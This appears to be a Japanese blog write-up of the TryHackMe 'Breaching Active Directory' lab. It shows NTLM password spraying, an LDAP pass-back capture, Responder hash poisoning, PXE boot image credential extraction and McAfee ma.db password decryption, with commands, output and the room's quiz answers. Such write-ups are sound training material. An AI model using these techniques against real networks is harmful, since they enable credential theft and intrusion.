0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Breaching Active Directory(AttackBox利用なし)

Posted at

はじめに

TryHackMeの「Breaching Active Directory」について、Writeupを書きつつ学習内容の個人的なまとめです。AttackBoxは使用せず、自宅のKali環境で進めました。

#このルームの目的

ADの設定不備を突いて攻撃の目的を達成するためには、まずADに紐づくアカウントに対しての初期アクセスが必要です。このルームでは、ADの認証情報を窃取するための基本的な手法について学習します。

本記事ではルームのクリアではなく、提供されている学習内容の理解を目的としています。そのためTryHackMe内で触れられていない用語・情報についても適宜記載をしておりますが、必ずしも関連性を保証するものではありません。

Task 1. Introduction to AD Breaches

このルームに関する説明に目を通しつつ、DNSとVPNを設定するだけの準備タスクです。

#DNS設定

説明の通りに以下のコマンドを打とうとすると失敗します。

sed -i '1s|^|nameserver $THMDCIP\n|' /etc/resolv-dnsmasq

筆者の環境では/etc/resolv-dnsmasqではなくetc/resolv.confでした。念のためnanoで開いて下記のように編集して保存。

# Generated by NetworkManager
search localdomain
nameserver <追加するTHMDCのIPアドレス>
nameserver <デフォルトIPアドレス>

#VPN設定

nslookup thmdc.za.tryhackme.comが全く通らなくて焦りましたが、原因は普段のCTFルームを解く用のVPNに接続していたからでした。
Other Hostsという項目に説明がある通り、このRoom専用のVPN設定ファイルをダウンロードする必要があるようです。ということで新しい設定ファイルでOpenVPNを起動して接続し、無事nslookupが通りました。

#解答

Q1. I have completed the AD basics room and am ready to learn about AD breaching techniques.
A. No answer needed

Q2. I have connected to the network and configured DNS.
A. No answer needed

Task 2. OSINT and Phishing

ここでは情報収集の基礎として、OSINTとフィッシングについて触れています。

#OSINT

OSINTとは Open Source Intelligenceの略語で、インターネットや新聞等、誰であってもアクセス可能な情報を分析することを意味し、ここから攻撃に利用可能な情報を見つけ出します。
ShodanCensys等、世の中に公開されているIT資産に対して手軽にスキャンを実行できるような様々なOSINTツールがインターネット上で見つかります。
また、HaveIBeenPwned等のサイトでは、メールアドレス等の個人情報がデータ侵害によって不正に公開されていないかを調べることができます。

OSINT自体は合法であるため、必ずしも攻撃者のみに有益なものではなく、セキュリティ業務に関わる人材であれば少なからず利用しているのではないでしょうか。

#フィッシング

偽のメール/Webサイトを通じて認証情報を窃取する行為です。
最近ではPCに偽のウィルス感染警告を表示させ、表示されている連絡先に電話するとサポートを装った攻撃者に遠隔操作されるサポート詐欺や、電話や音声を利用してユーザーを誘導するVishing(Voice + Phishing)と呼ばれる手法なんかも流行っています。

#解答

Q1. I understand OSINT and how it can be used to breach AD
A. No answer needed

Q2. I understand Phishing and how it can be used to breach AD
A. No answer needed

Q3. What popular website can be used to verify if your email address or password has ever been exposed in a publicly disclosed data breach?
A. HaveIBeenPwned

Task 3. NTLM Authenticated Services

ここではNTLM認証を悪用して認証情報を窃取する手法について学びます。NTMLはチャレンジレスポンスを利用した認証方式で、ネットワーク経由で認証を行うNetNTLM(いわゆるNTLM認証)がADで利用されています。ただしセキュアではないことから2024年6月より非推奨となっており、Kerberosを利用することが一般的です。

とある企業がNTML認証を利用するサービスをインターネットに公開している場合(今時無いとは思いますが)、攻撃者は認証情報を窃取できる可能性があります。

#パスワードスプレー攻撃

いよいよ実践ですが、公開されている認証ページ(ntlmauth.za.tryhackme.com)に対してブルートフォースを試行していきます。大体の企業ではアカウントロック設定が掛かっているため、ユーザー名ではなくパスワードを固定するパスワードスプレー手法を利用します。

タスクファイルをダウンロードし、Pythonスクリプトを実行。

┌──(kali㉿kali)-[~]
└─$ python3 ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
[*] Starting passwords spray attack using the following password: Changeme123
/usr/lib/python3/dist-packages/ntlm_auth/rc4.py:18: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  algo = algorithms.ARC4(key)
[-] Failed login with Username: anthony.reynolds
[-] Failed login with Username: samantha.thompson
[-] Failed login with Username: dawn.turner
[-] Failed login with Username: frances.chapman
[-] Failed login with Username: henry.taylor
[-] Failed login with Username: jennifer.wood
[+] Valid credential pair found! Username: hollie.powell Password: Changeme123
[-] Failed login with Username: louise.talbot
[+] Valid credential pair found! Username: heather.smith Password: Changeme123
[-] Failed login with Username: dominic.elliott
[+] Valid credential pair found! Username: gordon.stevens Password: Changeme123
[-] Failed login with Username: alan.jones
[-] Failed login with Username: frank.fletcher
[-] Failed login with Username: maria.sheppard
[-] Failed login with Username: sophie.blackburn
[-] Failed login with Username: dawn.hughes
[-] Failed login with Username: henry.black
[-] Failed login with Username: joanne.davies
[-] Failed login with Username: mark.oconnor
[+] Valid credential pair found! Username: georgina.edwards Password: Changeme123
[*] Password spray attack completed, 4 valid credential pairs found

[+] Valid credential pair found!というメッセージから始まっている行がクラックに成功したユーザーです。ここでは4つのユーザーが初期パスワードである「Changeme123」を利用していました。

試しにユーザー名:hollie.powell、パスワード:Changeme123でログインしてみます。
image.png

Pythonスクリプトでは何をしているのか、実際にアクセスを試行している部分を抜き出してみました。

response = requests.get(url, auth=HttpNtlmAuth(fqdn + "\\" + user, password))
if (response.status_code == 200):
    print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)

getメソッドにauthパラメータを渡すことでHTTP認証が可能ですが、ここではHttpNtlmAuthというサードパーティー製のライブラリを利用しています。あとはuserレスポンスコードが200で返却されれば認証成功ということで、他の攻撃にも応用できそうな汎用性の高いコードなので覚えておきたいと思います。

#解答

Q1. NTLM を使用するチャレンジ レスポンス認証メカニズムの名前は何ですか?
A. NetNtlm

Q2. パスワード スプレー スクリプトによって見つかった 3 番目の有効な資格情報ペアのユーザー名は何ですか?
A. gordon.stevens

Q3. パスワード スプレー スクリプトによって有効な資格情報のペアがいくつ見つかりましたか?
A. 4

Q4.有効な資格情報ペアを使用して認証するときに Web アプリケーションによって表示されるメッセージは何ですか?
A. Hello World

Task 4. LDAP Bind Credentials

続いてLDAP認証を悪用した情報窃取です。LDAPはADにおいて、各ユーザーの資格情報の問い合わせに利用されているプロトコルで、GitLab、Jenkins、ネットワークプリンター等の外部連携システムがユーザーを認証するためにLDAPクエリを発行します。

ユーザーの資格を問い合わせるためにLDAPクエリを発行する必要がありますが、そのためにはサービス自体がADに認証される必要があります。なので上記のようなサービスはADの資格情報を保持しており、それらを復元できればADへの侵害が可能となります。

#LDAPパスバック攻撃

簡単に検索しても全く情報が出てきませんが、要はスプーフィングの系統だと理解しました。
通常のLDAPの流れとしては、

  1. ネットワークプリンターからADに対し、ポート389(LDAPのデフォルトポート)へ資格情報を送信
  2. ADがネットワークプリンターを認証
  3. ネットワークプリンターがLDAPクエリをリクエスト

となりますが、説明ではServerのIPアドレスを自身に書き換え、nc -lvp 389を利用してプリンターからの通信を待ち受けています。つまりユーザーのマシンをADサーバーへ見立て、1で送信される認証情報を窃取しようとしている訳です。

しかし、通常であれば資格情報の送信前にプリンターとLDAPサーバー間で認証方法選択のネゴシエートが走るため、Netcatを利用した待ち受けでは失敗します。そこで攻撃者のマシンにOpenLDAPをインストールし、弱い認証方式で資格情報を授受するように構成します。

#LDAPサーバーの構成

OpenLDAPは名前の通り、BSDライセンスで公開されているオープンソースのLDAPサーバーソフトウェアです。説明に従いインストールします。

#LDAP資格情報の窃取

LDAPサーバーを構成できたら、tcpdumpでパケットを待ち受けます。

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -SX -i breachad tcp port 389
[sudo] kali のパスワード:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on breachad, link-type RAW (Raw IP), snapshot length 262144 bytes

後はプリンター設定画面のServerに自身のIPアドレスを入力し、Test Settingsをクリックします。
image.png

このIPアドレスはTryHackMeのVPN上で割り当てられるIPアドレスですので、それぞれの環境に合わせて書き換えてください。Kaliを使っている場合は画面右上に表示されているIPアドレスになります。

しばらく待っているとシェルが更新され、大量のパケットの情報が表示されます。1つずつ見ていくとパスワードが記載されているパケットが見つかりました。

[...]
13:47:41.998460 IP 10.200.26.201.60015 > 10.50.24.5.ldap: Flags [P.], seq 1280349544:1280349609, ack 1876231093, win 1027, length 65
        0x0000:  4500 0069 8b92 4000 7f06 2835 0ac8 1ac9  E..i..@...(5....
        0x0010:  0a32 1805 ea6f 0185 4c50 9568 6fd5 03b5  .2...o..LP.ho...
        0x0020:  5018 0403 52ec 0000 3084 0000 003b 0201  P...R...0....;..
        0x0030:  0560 8400 0000 3202 0102 0418 7a61 2e74  .`....2.....za.t
        0x0040:  7279 6861 636b 6d65 2e63 6f6d 5c73 7663  ryhackme.com\svc
        0x0050:  4c44 4150 8013 7472 7968 6163 6b6d 656c  LDAP..tryhackmel
        0x0060:  6461 7070 6173 7331 40                   dappass1@
[...]

#解答

Q1. What type of attack can be performed against LDAP Authentication systems not commonly found against Windows Authentication systems?
A. LDAP Pass-back Attack

Q2. What two authentication mechanisms do we allow on our rogue LDAP server to downgrade the authentication and make it clear text?
A. LOGIN,PLAIN

Q3. What is the password associated with the svcLDAP account?
A. tryhackmeldappass1@

Task 5. Authentication Relays

このタスクでは、タスク3でも登場したNetNTLM認証の通信を傍受し、認証情報の窃取を試みます。

NetNTLM認証を使用するプロトコルとして、ファイル共有を行うSMB(Server Message Block) がありますが、ADにおいてのSMBはファイル共有だけでなくドメイン全体のリモート管理も担います。

ここではResponderというツールを利用して中間者攻撃を実行し、クライアントから送信されるNTLMハッシュを傍受します。ユーザーに対して偽のレスポンスを送信することで、ユーザーと攻撃者のマシンが通信を行うよう仕向けることが可能です。

#NetNTLMチャレンジの傍受

早速Responderを使っていきます。といいつつ実行は簡単で、ADと同一のネットワークに接続している状態であればコマンド1つで完了します。

┌──(kali㉿kali)-[~]
└─$ sudo responder -I breachad

しばらく待っているとNTLMハッシュが手に入りました。後はhashcatコマンドで総当たりすることで、認証情報を窃取できます。

実際にはただ傍受するのではなく中間者リレーを行うことで、より深い情報を入手できる可能性があります。が、通常はSMB署名なんてものが付いていたりと上手くいかないよ~的なことが説明に書かれていますね。

#解答

Q1. What is the name of the tool we can use to poison and capture authentication requests on the network?
A. Responder

Q2. What is the username associated with the challenge that was captured?
A. svcFileCopy

Q3. What is the value of the cracked password associated with the challenge that was captured?
A. FPassword1!

Task 6. Microsoft Deployment Toolkit

MDT(Microsoft Deployment Toolkit) はWindowsOSの自動展開を支援するMicrosoftのサービスです。MDTは更にSCCM(System Center Configuration Manager) というコンピューター管理に用いられるソフトウェアと統合されています。

例えば「ブートイメージ」を編集してOfficeソフトやセキュリティ対策ソフトを事前にインストールしておくことで、新しいPCが必要になった際、ネットワークにPCを繋ぐだけで他のPCと同様のセットアップを自動で実行できるということです。

このタスクでは「ブートイメージ」に含まれる認証情報窃取を狙います。

#PXEブート

PXEブートとは、ローカルストレージを持たないPCでもネットワーク経由で起動し、OSを展開することができる仕組みのことです。MDTはこの仕組みを利用することで、ネットワーク越しにPCのセットアップを実行できます。

セットアップのフローは以下の通りです。

  1. ネットワークに参加したPCはDHCPへIPアドレスを要求
  2. IPアドレスが割り振られると、PCはMDTサーバーへPXEブートイメージを要求
  3. MDTサーバーがPCへPXEブートイメージの情報を送信
  4. PCはMDTサーバーからTFTPを利用してPXEブートイメージをダウンロード

少し理解が難しいのですが、要はこのPXEブートイメージにADアカウントの認証情報が含まれているとのこと。そのためPXEブートイメージを入手し、powerpxeというツールで認証情報を復元することが目的となります。

#PXEブートイメージの取得

本来ならDHCPの悪用が必要なのだと推測しますが、このルームでは省略され、THMJMP1というマシンにSSH接続をして攻撃を行うようです。

まずは http ://pxeboot.za.tryhackme.com にアクセスしてPXEブートイメージのファイル名を確認し、x64{で始まるファイル名をコピーしておきます。
image.png

続いてSSH接続を行います。

┌──(kali㉿kali)-[~]
└─$ ssh thm@THMJMP1.za.tryhackme.com
thm@thmjmp1.za.tryhackme.com's password: 

~~~

Microsoft Windows [Version 10.0.17763.1098]
(c) 2018 Microsoft Corporation. All rights reserved.

thm@THMJMP1 C:\Users\thm>

接続できたら説明の通りに自身のフォルダを作成し、C:\powerpxeをコピーします。

そしてTFPTコマンドで先ほど確認したファイル名のBCDファイルをconf.bcdという名前でダウンロード。

thm@THMJMP1 C:\Users\thm\Documents\akinosora>tftp -i 10.200.26.202 GET "\Tmp\x64{033445D1-7C37-434B-80AA-A95909BDEB0E}.bcd" conf.bcd
Transfer successful: 12288 bytes in 1 second(s), 12288 bytes/s

あとは説明の通りにコマンドを打っていくと資格情報が復元できます。

thm@THMJMP1 C:\Users\thm\Documents\akinosora>Import-Module .\PowerPXE.ps1
'Import-Module' is not recognized as an internal or external command,
operable program or batch file.

thm@THMJMP1 C:\Users\thm\Documents\akinosora>powershell -executionpolicy bypass
 
PS C:\Users\thm\Documents\akinosora> Import-Module .\PowerPXE.ps1
PS C:\Users\thm\Documents\akinosora> $BCDFile = "conf.bcd"
PS C:\Users\thm\Documents\akinosora> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
\Boot\x64\Images\LiteTouchPE_x64.wim
PS C:\Users\thm\Documents\akinosora> tftp -i 10.200.26.202 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.win
Transfer successful: 341899611 bytes in 160 second(s), 2136872 bytes/s

PS C:\Users\thm\Documents\akinosora> Get-FindCredentials -WimFile .\pxeboot.win
>> Open .\pxeboot.win
New-Item : An item with the specified name C:\Users\thm\Documents\akinosora\ already exists.
At C:\Users\thm\Documents\akinosora\PowerPXE.ps1:212 char:13
+     $null = New-Item -ItemType directory -Path $WimDir
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ResourceExists: (C:\Users\thm\Documents\akinosora\:String) [New-Item], IOException
    + FullyQualifiedErrorId : DirectoryExist,Microsoft.PowerShell.Commands.NewItemCommand
 
>>>> Finding Bootstrap.ini
>>>> >>>> DeployRoot = \\THMMDT\MTDBuildLab$
>>>> >>>> UserID = svcMDT
>>>> >>>> UserDomain = ZA
>>>> >>>> UserPassword = PXEBootSecure1@

#解答

Q1. What Microsoft tool is used to create and host PXE Boot images in organisations?
A. Microsoft Deployment Toolkit

Q2. What network protocol is used for recovery of files from the MDT server?
A. TFTP

Q3. What is the username associated with the account that was stored in the PXE Boot image?
A. svcMDT

Q4. What is the password associated with the account that was stored in the PXE Boot image?
A. PXEBootSecure1@

Q5. While you should make sure to cleanup you user directory that you created at the start of the task, if you try you will notice that you get an access denied error. Don't worry, a script will help with the cleanup process but remember when you are doing assessments to always perform cleanup.
A. No answer needed

Task 7. Configuration Files

最後の攻撃手法は設定ファイルの悪用です。コンピューターシステムには様々な設定ファイルが存在していますが、ここではMcAfeeのエンドポイントセキュリティ製品の設定ファイルから認証情報を窃取します。
McAfeeはインストール中に管理サーバーへ接続するための認証情報をma.dbというファイルに保存します。

このma.dbは所定の場所(C:\ProgramData\McAfee\Agent\DB)に保存されているため、認証情報の復元を試行できる訳です。

thm@THMJMP1 C:\>cd ProgramData

thm@THMJMP1 C:\ProgramData>cd McAfee/Agent 

thm@THMJMP1 C:\ProgramData\McAfee\Agent>cd DB 

thm@THMJMP1 C:\ProgramData\McAfee\Agent\DB>dir 
 Volume in drive C is Windows                      
 Volume Serial Number is 1634-22A9                 
                                                   
 Directory of C:\ProgramData\McAfee\Agent\DB       
                                                   
03/28/2022  04:19 AM    <DIR>          .           
03/28/2022  04:19 AM    <DIR>          ..          
03/05/2022  06:45 PM           120,832 ma.db       
               1 File(s)        120,832 bytes      
               2 Dir(s)  48,467,275,776 bytes free

ma.dbの存在を確認できました。続いてSCPでコピーし、sqlitebrowserというツールでデータベースの内容を見てみます。

┌──(kali㉿kali)-[~]
└─$ scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .
The authenticity of host 'thmjmp1.za.tryhackme.com (10.200.26.248)' can't be established.
ED25519 key fingerprint is SHA256:50ZqYlTFUYKTHHPzgPNzG0gSydLnknXL0Ea7lUs7tT8.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'thmjmp1.za.tryhackme.com' (ED25519) to the list of known hosts.
thm@thmjmp1.za.tryhackme.com's password: 
ma.db                                                                                                                                                                                                     100%  118KB  87.6KB/s   00:01    
                   
┌──(kali㉿kali)-[~]
└─$ sqlitebrowser ma.db 

image.png

「データ閲覧」から「AGENT_REPOSITORIES」を選択。

image.png

少し右にスクロールすると...

image.png

暗号化されたパスワードを入手できました。
https://github.com/funoverip/mcafee-sitelist-pwd-decryptionから復号ツールをダウンロードし解凍します。

┌──(kali㉿kali)-[~/Downloads]
└─$ unzip mcafee-sitelist-pwd-decryption-1649686607913.zip 
Archive:  mcafee-sitelist-pwd-decryption-1649686607913.zip
3665de8339236b9bd9782b840bcf709a70202ae4
   creating: mcafee-sitelist-pwd-decryption-master/
  inflating: mcafee-sitelist-pwd-decryption-master/README.md  
  inflating: mcafee-sitelist-pwd-decryption-master/mcafee_sitelist_pwd_decrypt.py

続いて暗号化されたパスワードを引数に渡して復号ツールを実行しますが、Cryptoモジュールが無いと怒られました。
aptでインストールして再実行。

┌──(kali㉿kali)-[~/Downloads/mcafee-sitelist-pwd-decryption-master]
└─$ python2 mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Traceback (most recent call last):
  File "mcafee_sitelist_pwd_decrypt.py", line 15, in <module>
    from Crypto.Cipher import DES3
ImportError: No module named Crypto.Cipher
         
┌──(kali㉿kali)-[~/Downloads/mcafee-sitelist-pwd-decryption-master]
└─$ apt install Crypto
Error: ロックファイル /var/lib/dpkg/lock-frontend をオープンできません - open (13: 許可がありません)
Error: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root?
                                                                                                 
┌──(kali㉿kali)-[~/Downloads]
└─$ python mcafee_sitelist_pwd_decrypt.py jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== 
Crypted password   : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==
Decrypted password : MyStrongPassword!
                                        

といわけでパスワードが入手できました。

Q1. What type of files often contain stored credentials on hosts?
A. Configuration Files

Q2. What is the name of the McAfee database that stores configuration including credentials used to connect to the orchestrator?
A. ma.db

Q3. What table in this database stores the credentials of the orchestrator?
A. AGENT_REPOSITORIES

Q4. What is the username of the AD account associated with the McAfee service?
A. svcAV

Q5. What is the password of the AD account associated with the McAfee service?
A. MyStrongPassword!

Task 8. Conclusion

Q1. I understand how configuration changes can help prevent AD breaches.
A. No answer needed

まとめ

このルームではAD環境の認証情報を窃取するための攻撃手法について学んできました。
複数のツールに触れつつ、企業のADにまつわる概念を体感できとても勉強になったと思います。

Walkthroughとはいえかなり躓きポイントもあったと思うので、この投稿が誰かの助けになれば幸いです。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?